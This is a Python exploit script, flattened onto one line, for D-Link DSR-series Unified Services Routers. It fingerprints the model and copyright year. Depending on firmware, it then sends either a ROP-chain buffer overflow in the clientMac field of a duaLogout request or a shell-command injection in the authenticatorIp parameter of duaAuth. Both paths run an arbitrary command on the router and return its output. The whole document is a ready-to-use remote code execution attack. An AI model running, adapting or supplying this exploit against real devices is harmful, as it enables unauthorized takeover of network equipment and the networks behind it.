from pwn import * from urllib import parse import requests import ssl import socket from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += 'HIGH:!DH:!aNULL' captivePortalLib = 0x405f4000 libc = 0x4017c000 gadget3 = libc + 0x00116734 # pop {r0, r1, r2, r3, pc}; gadget4 = libc + 0x000ff0e8 # mov r0, sp ; blx r3 system = libc + 0x398a0 def fingerprint(): print('[+] fingerprint') url = root_url+'/' s = requests.Session() s.verify=False r = s.get(url) if '/scgi-bin/platform.cgi' in r.text: url = root_url+'/scgi-bin/platform.cgi' r = s.get(url) if 'Copyright © ' not in r.text: return None if ' D-Link Corporation.' not in r.text: return None device = None if 'Unified Services Router - ' in r.text: device = r.text.split('Unified Services Router - ')[1].split('<')[0] device = device.strip() elif 'Product Page: ' in r.text: device = r.text.split('Product Page: ')[1].split('<')[0] device = device.strip() year = r.text.split('Copyright © ')[1].split(' D-Link Corporation.')[0] year = int(year) print(' device: '+str(device)) print(' year : '+str(year)) return [device, year] def get_payload(cmd): if type(cmd) == str: cmd = cmd.encode() cm = b'a'*86 cm += p32(gadget3) # pop {r0, r1, r2, r3, pc}; cm += b'0000' cm += b'1111' cm += b'2222' cm += p32(system) cm += p32(gadget4) cm += cmd+b' >/proc/`pidof cgi`/fd/1 2>/proc/`pidof cgi`/fd/1 ; #' payload = b'{"clientMac":"'+cm+b'"}' #print(payload) params = b'action=duaLogout&vendor=&apMac=&clientMac=&apIp=&clientIp=&ssid=&vlan=&returnUrl=&authenticationSuccessUrl=&pageIndex=&returnLogoutUrl=&deviceType=¬ifyUrl=&sessionRandom=&hash=&authenticatorIp=&externalCpResult='+payload return params def get_header(host, payload): header = b'POST /platform.cgi HTTP/1.1\r\n' header += b'Host: ' + host.encode() + b'\r\n' header += b'User-Agent: curl/7.68.0\r\n' header += b'Content-Length: {content_length}\r\n' header += b'Content-Type: application/x-www-form-urlencoded\r\n\r\n' header = header.replace(b'{content_length}', str(len(payload)).encode()) #print(header.decode()) return header def get_header2(host, payload): header = b'GET /scgi-bin/platform.cgi?'+payload+b' HTTP/1.1\r\n' header += b'Host: ' + host.encode() + b'\r\n' header += b'User-Agent: curl/7.68.0\r\n' header += b'Content-Type: application/x-www-form-urlencoded\r\n\r\n' return header def accessible(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) if not no_https: s = ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_TLSv1_2) s.do_handshake() s.close() def exploit(sslv): payload = get_payload(cmd) header = get_header(host, payload) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) if not no_https: s = ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=sslv)#ssl.PROTOCOL_SSLv23) s.sendall(header) s.send(payload) res = s.recv(0x1000) #print(res) #print(res.decode()) s.close() def old_exploit(): params = {'action':'duaAuth', 'vendor':'dlinkdwc', 'authenticatorIp':'; echo "\r\n">/proc/`pidof cgi`/fd/1 ; '+cmd+'>/proc/`pidof cgi`/fd/1 2>/proc/`pidof cgi`/fd/1 ; #', 'apMac':'11-22-33-44-55-66', 'clientMac':'00-22-33-33-22-11', 'apIp':'172.16.1.3', 'clientIp':'192.168.10.100', 'ssid':'dlinkGuest', 'vlan':'12', 'returnUrl':'duaAuth.cgi', 'authenticationSuccessUrl':'www.dlink.com', 'pageIndex':'1', 'returnLogoutUrl':'duaLogout.cgi', 'deviceType':'4', 'notifyUrl':'duaNotify.cgi', 'sessionRandom':'1488870579', 'hash':'7691cf9c7b5a3676f94b53146d9cc0bd4cf4518d28af7f8850c7da6375c1bd37'} url = root_url+'/scgi-bin/platform.cgi' s = requests.Session() s.verify=False r = s.get(url, params=params) print(r.content) print(r.content.decode()) def main(): result = fingerprint() device = result[0] year = result[1] if device.startswith('DSR-150'): print('[-] not implemented') elif device.startswith('DSR-250'): if year in [2020, 2021]: exploit(ssl.PROTOCOL_TLSv1_2) elif year < 2020 and year >= 2018: old_exploit() elif year == None: print(' failed to fingerprint') else: print(' older version') elif device.startswith('DSR-500'): if year in [2020, 2021]: print('[-] not implemented') #exploit(ssl.PROTOCOL_TLSv1_2) elif year < 2020 and year >= 2018: old_exploit() elif year == None: print(' failed to fingerprint') else: print(' older version') elif device.startswith('DSR-1000'): if year in [2020, 2021]: print('[-] not implemented') #exploit(ssl.PROTOCOL_TLSv1_2) elif year < 2020 and year >= 2018: old_exploit() elif year == None: print(' failed to fingerprint') else: print(' older version') else: print('[-] unknown device') if __name__ == '__main__': if not (len(sys.argv) == 4 or len(sys.argv) == 5): print("usage: [no_https]") exit() host = sys.argv[1] port = int(sys.argv[2]) cmd = sys.argv[3] no_https = False if len(sys.argv) == 5: no_https = True if no_https: root_url = 'http://'+host+':'+str(port) else: root_url = 'https://'+host+':'+str(port) main()